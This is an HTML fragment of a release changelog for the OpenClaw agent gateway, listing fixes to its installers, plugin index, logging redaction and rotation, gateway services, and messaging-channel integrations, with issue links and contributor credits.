<li>Installer/macOS: rerun Homebrew install steps without the gum spinner when raw-mode ioctl failures occur, and avoid claiming <code>node@24</code> was installed when the Homebrew keg binary is missing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312670571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70411" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70411/hovercard" href="https://github.com/openclaw/openclaw/issues/70411">#70411</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1fanwang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1fanwang">@1fanwang</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dad-io/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dad-io">@dad-io</a>.</li>
<li>Installer: load nvm before Node.js detection so <code>curl | bash</code> installs respect nvm-managed Node instead of stale system Node. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093236636" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49556" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49556/hovercard" href="https://github.com/openclaw/openclaw/issues/49556">#49556</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heavenlxj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heavenlxj">@heavenlxj</a>.</li>
<li>Installer/Windows: route PowerShell install failures through a top-level handler so <code>iwr ... | iex</code> returns control to the current shell while direct script-file runs still exit non-zero. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4034858716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38054" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/38054/hovercard" href="https://github.com/openclaw/openclaw/issues/38054">#38054</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PwrSrg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PwrSrg">@PwrSrg</a>.</li>
<li>CLI/Volta: respawn raw <code>openclaw</code> CLI runs through the named <code>node</code> shim when the current Node executable resolves to <code>volta-shim</code>, avoiding direct shim execution failures in non-interactive shells. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288940390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68672" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68672/hovercard" href="https://github.com/openclaw/openclaw/issues/68672">#68672</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sanchezm86/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sanchezm86">@sanchezm86</a>.</li>
<li>Installer: warn when multiple npm global roots contain OpenClaw installs, showing active Node/npm/openclaw plus each install path and version so stale version-manager installs are visible. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4044590366" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40839" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40839/hovercard" href="https://github.com/openclaw/openclaw/issues/40839">#40839</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhixianio/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhixianio">@zhixianio</a>.</li>
<li>Cron/tasks: recover completed cron task ledger records from durable run logs and job state before marking them <code>lost</code>, reducing false <code>backing session missing</code> audit errors for isolated cron runs and keeping offline CLI audit from treating its empty local cron active-job set as authoritative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330026583" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71963" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71963/hovercard" href="https://github.com/openclaw/openclaw/issues/71963">#71963</a>.</li>
<li>Docker: copy patched dependency files into runtime images so downstream <code>pnpm install</code> layers keep working. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293534495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69224" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69224/hovercard" href="https://github.com/openclaw/openclaw/issues/69224">#69224</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gucasbrg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gucasbrg">@gucasbrg</a>.</li>
<li>Package: include patched dependency files in the published npm package so downstream installs can resolve <code>patchedDependencies</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4293534495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69224" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69224/hovercard" href="https://github.com/openclaw/openclaw/issues/69224">#69224</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gucasbrg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gucasbrg">@gucasbrg</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/channels: treat malformed bundled channel plugin loaders that return <code>undefined</code> as unavailable instead of crashing config and help paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291595561" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69044" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69044/hovercard" href="https://github.com/openclaw/openclaw/issues/69044">#69044</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankhli843/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankhli843">@frankhli843</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Scripts/watch: show corrupted dependency package-config recovery guidance when <code>gateway:watch</code> fails during watcher startup, without double-logging unrelated import failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4184421615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58780" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58780/hovercard" href="https://github.com/openclaw/openclaw/pull/58780">#58780</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roytong9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roytong9">@roytong9</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Signal: read signal-cli RPC, health checks, and SSE events through Node's HTTP client so Node 24/25 fetch regressions do not break Signal sends or inbound events. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4112941905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51716" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51716/hovercard" href="https://github.com/openclaw/openclaw/issues/51716">#51716</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4122411587" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53040" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53040/hovercard" href="https://github.com/openclaw/openclaw/issues/53040">#53040</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Barukimang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Barukimang">@Barukimang</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/minupla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/minupla">@minupla</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Skills/Docker: run npm-backed skill dependency installs with an OpenClaw-managed user prefix so non-root Docker images do not write to <code>/usr/local</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4193497158" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59601" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59601/hovercard" href="https://github.com/openclaw/openclaw/issues/59601">#59601</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chanjarster/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chanjarster">@chanjarster</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/runtime: submit heartbeat, cron, and exec wakeups as transient runtime context instead of visible user prompts, keeping synthetic system work out of chat transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4261476582" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66496" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66496/hovercard" href="https://github.com/openclaw/openclaw/issues/66496">#66496</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264783156" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66814" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66814/hovercard" href="https://github.com/openclaw/openclaw/issues/66814">#66814</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeades/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeades">@jeades</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mandomaker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mandomaker">@mandomaker</a>.</li>
<li>Telegram: include native quote excerpts automatically for threaded replies and reply tags when the original Telegram text is available, without adding another config knob. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3884461774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/6975" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/6975/hovercard" href="https://github.com/openclaw/openclaw/issues/6975">#6975</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rex05ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rex05ai">@rex05ai</a>.</li>
<li>Node/Linux: make <code>openclaw node install</code> enable and restart the <code>openclaw-node</code> systemd unit instead of the gateway unit on node-only VMs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4285532256" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68287" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68287/hovercard" href="https://github.com/openclaw/openclaw/issues/68287">#68287</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dlebee-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dlebee-agent">@dlebee-agent</a>.</li>
<li>Browser/CDP: retry transient raw-CDP WebSocket handshake failures before any browser command is sent, and reconnect stale persistent Playwright CDP sessions for safe tab-list reads without replaying mutating browser actions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276826431" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67728" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67728/hovercard" href="https://github.com/openclaw/openclaw/issues/67728">#67728</a>.</li>
<li>Gateway/Linux: retry <code>systemctl --user enable</code> after a second daemon reload when the freshly written gateway unit is not visible yet on migrated systemd installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246585581" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65184" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65184/hovercard" href="https://github.com/openclaw/openclaw/issues/65184">#65184</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liushuaiiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liushuaiiu">@liushuaiiu</a>.</li>
<li>Telegram: preserve exact selected quote text when sending native quote replies, and retry with legacy replies if Telegram rejects quote parameters. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330007852" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71952/hovercard" href="https://github.com/openclaw/openclaw/pull/71952">#71952</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>.</li>
<li>Plugins/CLI: preserve manifest name, description, format, and source metadata in cold <code>openclaw plugins list</code> output without importing plugin runtime. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Security/audit: read channel exposure and plugin allowlist ownership from read-only plugin index metadata so cold audits do not depend on loaded channel runtime. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/chat: keep <code>/plugins list</code>, <code>/plugins enable</code>, and <code>/plugins disable</code> on the persisted plugin index path so chat plugin management does not load diagnostic/runtime plugin registries before execution. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/doctor: read workspace plugin status and legacy web-search ownership through installed-index manifest metadata instead of broad manifest registry scans. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/agents: read channel provider status from read-only plugin index metadata for text <code>agents list</code> output instead of the loaded channel registry. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Logging: redact configured secret patterns at console and file-log sink exits so credentials that reach the logger are masked before terminal display or JSONL persistence. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279976745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67953" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67953/hovercard" href="https://github.com/openclaw/openclaw/issues/67953">#67953</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ziy1-Tan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ziy1-Tan">@Ziy1-Tan</a>.</li>
<li>Gateway/services: refuse process and service mutations from an older OpenClaw binary when the config was last written by a newer version, preventing split-brain installs from stopping or rewriting newer gateway services. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4164454666" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57079" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/57079/hovercard" href="https://github.com/openclaw/openclaw/issues/57079">#57079</a>.</li>
<li>Gateway: reserve <code>/healthz</code> and <code>/readyz</code> ahead of plugin, canvas, and Control UI HTTP stages so liveness/readiness probes still answer when a later route handler stalls. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4301852326" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69674" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69674/hovercard" href="https://github.com/openclaw/openclaw/issues/69674">#69674</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Xike-Creek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Xike-Creek">@Xike-Creek</a>.</li>
<li>Logging: load <code>logging.file</code> and redaction settings directly from the active OpenClaw config path in bundled runtimes, so packaged gateways stop falling back to <code>/tmp/openclaw</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4191142978" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59370" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59370/hovercard" href="https://github.com/openclaw/openclaw/issues/59370">#59370</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4268830246" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67168" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67168/hovercard" href="https://github.com/openclaw/openclaw/issues/67168">#67168</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207216477" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61295" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61295/hovercard" href="https://github.com/openclaw/openclaw/issues/61295">#61295</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KeaneYan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KeaneYan">@KeaneYan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Pan9hu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Pan9hu">@Pan9hu</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zsjlovelike/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zsjlovelike">@zsjlovelike</a>.</li>
<li>Logging: rotate file logs at <code>logging.maxFileBytes</code>, keep bounded numbered archives, and make long-lived rolling loggers follow the current-day file instead of suppressing diagnostics or writing stale dated files. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4182641485" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58583" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58583/hovercard" href="https://github.com/openclaw/openclaw/issues/58583">#58583</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4216327509" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62381" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62381/hovercard" href="https://github.com/openclaw/openclaw/issues/62381">#62381</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpeghead/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpeghead">@jpeghead</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhaoleink/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhaoleink">@zhaoleink</a>.</li>
<li>Agents/groups: treat clean empty assistant stops as silent <code>NO_REPLY</code> only for always-on groups where silent replies are allowed, while keeping direct and mention-gated sessions on the incomplete-turn retry path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MagnaAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MagnaAI">@MagnaAI</a>.</li>
<li>macOS/Node: keep native remote app nodes from advertising <code>browser.proxy</code>, start browser-capable CLI node services through the restored <code>openclaw node start</code> command, and show an actionable browser-control error when the local control service is missing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4263105927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66637" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66637/hovercard" href="https://github.com/openclaw/openclaw/issues/66637">#66637</a>.</li>
<li>Gateway/update: fail package updates when the restarted managed gateway reports the wrong version, including fallback restarts and JSON mode, avoiding false-success mixed-version restarts after macOS LaunchAgent updates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329551146" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71835" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71835/hovercard" href="https://github.com/openclaw/openclaw/issues/71835">#71835</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhinas90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhinas90">@abhinas90</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jsompis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jsompis">@jsompis</a>.</li>
<li>Gateway/update: warn before package updates and bundled plugin runtime-dependency repairs when the target volume appears low on disk space, without blocking installs on best-effort filesystem checks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329551146" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71835" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71835/hovercard" href="https://github.com/openclaw/openclaw/issues/71835">#71835</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhinas90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhinas90">@abhinas90</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jsompis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jsompis">@jsompis</a>.</li>
<li>Plugins/runtime deps: surface activated plugin load failures in health and fail package-update restart verification or doctor repair when bundled runtime deps still cannot load, avoiding false-success repairs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329764229" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71883" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/71883/hovercard" href="https://github.com/openclaw/openclaw/pull/71883">#71883</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>.</li>
<li>Gateway/Linux: include fnm <code>aliases/default/bin</code> in generated service PATHs and let doctor accept either modern fnm aliases or the legacy <code>current/bin</code> symlink, avoiding false PATH repair prompts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4283558641" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68169" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68169/hovercard" href="https://github.com/openclaw/openclaw/issues/68169">#68169</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/richard-scott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/richard-scott">@richard-scott</a>.</li>
<li>Installer/Linux: run apt installs with noninteractive dpkg and needrestart settings so fresh Ubuntu 24.04 <code>curl | bash</code> installs do not hang while installing Node.js, Git, or build tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4046027578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41146" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41146/hovercard" href="https://github.com/openclaw/openclaw/issues/41146">#41146</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iht76/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iht76">@iht76</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexcarv318/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexcarv318">@alexcarv318</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cs3gallery/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cs3gallery">@cs3gallery</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/firofame/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/firofame">@firofame</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cgdusek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cgdusek">@cgdusek</a>.</li>
<li>Providers/Bedrock: defer the AWS SDK import until Bedrock discovery actually runs so plugin registration and setup stay lightweight on cold start. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328833605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71690" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71690/hovercard" href="https://github.com/openclaw/openclaw/issues/71690">#71690</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jarvis-ai-gregmoser/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jarvis-ai-gregmoser">@jarvis-ai-gregmoser</a>.</li>
<li>Installer/macOS: stop immediately when Homebrew <code>node@24</code> installation fails and avoid printing PATH advice for missing Homebrew Node installs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312670571" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70411" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70411/hovercard" href="https://github.com/openclaw/openclaw/issues/70411">#70411</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1fanwang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1fanwang">@1fanwang</a>.</li>
<li>WhatsApp: remove ack reactions after a visible reply when <code>messages.removeAckAfterReply</code> is enabled, matching other reaction-capable channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3987412583" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/26183" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/26183/hovercard" href="https://github.com/openclaw/openclaw/issues/26183">#26183</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MrUnforsaken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MrUnforsaken">@MrUnforsaken</a>.</li>
<li>Providers/Z.AI: map OpenClaw thinking controls to Z.AI's <code>thinking</code> payload and add opt-in preserved thinking replay via <code>params.preserveThinking</code>, so GLM 5.x can keep prior <code>reasoning_content</code> when requested. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183616844" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58680" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58680/hovercard" href="https://github.com/openclaw/openclaw/issues/58680">#58680</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xuanmingguo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xuanmingguo">@xuanmingguo</a>.</li>
<li>Channels/status: keep read-only channel lists on manifest and package metadata by default, loading setup runtime only for explicit fallback callers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins: scope setup and web-provider metadata manifest reads to explicit plugin ids when callers already know the owning plugin set. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Plugins/onboarding: defer onboarding install-record index writes until the guarded config commit so setup failures cannot leave the plugin index ahead of <code>openclaw.json</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/registry: resolve web provider ownership from the installed plugin index instead of broad manifest scans on secret, tool, and pricing paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
